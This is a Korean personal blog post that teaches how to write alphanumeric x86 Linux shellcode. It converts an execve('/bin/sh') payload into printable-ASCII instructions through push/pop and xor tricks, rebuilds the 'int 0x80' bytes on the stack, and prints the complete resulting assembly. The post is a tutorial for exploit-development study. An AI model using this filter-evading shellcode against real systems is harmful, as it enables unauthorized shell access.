y0u_bat
Alphanumeric Shellcode (ascii shellcode) 작성 본문
기본적인 execve(/bin/sh,/bin/sh,null)을 실행시키는 쉘코드
xor %eax,%eax -> 이부분
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx -> 이부분
push %eax
push %ebx
mov %esp, %ecx -> 이부분
mov $0xb, %al -> 이부분
int $0x80 -> 이부분
보통 쉘코드는 이러한데, 아스키범위에 몇군데가 걸린다. 30~7a
xor %eax, %eax -> push $0x31; pop %eax; xor $0x31, %al // 이런식으로 바꿀수있습니다.
mov %esp, %ebx -> push %esp; pop %ebx // pop push로 해결
mov %esp, %ecx -> push %esp; pop %ecx // 마찬가지로 pop push로 해결
mov $0xb, %al -> push $0x38; pop %eax; xor $0x33, %al // xor를 통해 0xb를 만듬
가장 중요한건 int $0x80을 보면 cd80이 아스키범위랑 많이 차이는데, 이걸 해결 해야된다.
push $0x31
pop %eax
xor $0x31, %al
push %eax
push $0x68732f2f
push $0x6e69622f
push %esp
pop %ebx
push %eax
push %ebx
push %esp
pop %ecx
push $0x38
pop %eax
xor $0x33, %al
int $0x80 -> 이부분
int $0x80 을 cd80을 스택에 넣게 되면, 결과적으로 cd80이 실행된다.
push $0x474780cd --> 이부분
push %esp
여기서 47은 inc edi 이다. 여기서는 edi는 사용하지 않는다.
xor 연산을 잘해서, 0x474780cd를 만들어 주면 된다.
int $0x80를 잘 바꾸면, 이렇게 된다.
push %eax
pop %edi
push $0x47474130
pop %eax
xor $0x4130, %ax
dec %ax
xor $0x3041, %ax
xor $0x4f73, %ax
push %eax
push %edi
pop %eax
push %esp
결과적으로 나온, 어셈
push $0x31
pop %eax
xor $0x31, %al
push %eax
push $0x68732f2f
push $0x6e69622f
push %esp
pop %ebx
push %eax
push %ebx
push %esp
pop %ecx
push $0x38
pop %eax
xor $0x33, %al
push %eax
pop %edi
push $0x47474130
pop %eax
xor $0x4130, %ax
dec %ax
xor $0x3041, %ax
xor $0x4f73, %ax
push %eax
push %edi
pop %eax
push %esp
만약 스택에 실행 권한이 없다면, 연산을 잘해서, 쓰기,실행권한이 있는 영역에 cd80을 잘두어서 거기로 리턴되겠끔 해야된다.
'System' 카테고리의 다른 글
QEMU-MIPS 환경 구축 (1) | 2016.09.14 |
---|---|
해킹캠프 13회 - equations 풀이 (0) | 2016.02.28 |
pintool 메뉴얼 번역(공부한것들만) (0) | 2016.02.18 |
pintool 간단한 문제 풀이 (2) | 2016.02.17 |
CVE-2015-0235 GHOST 취약점 (0) | 2016.02.16 |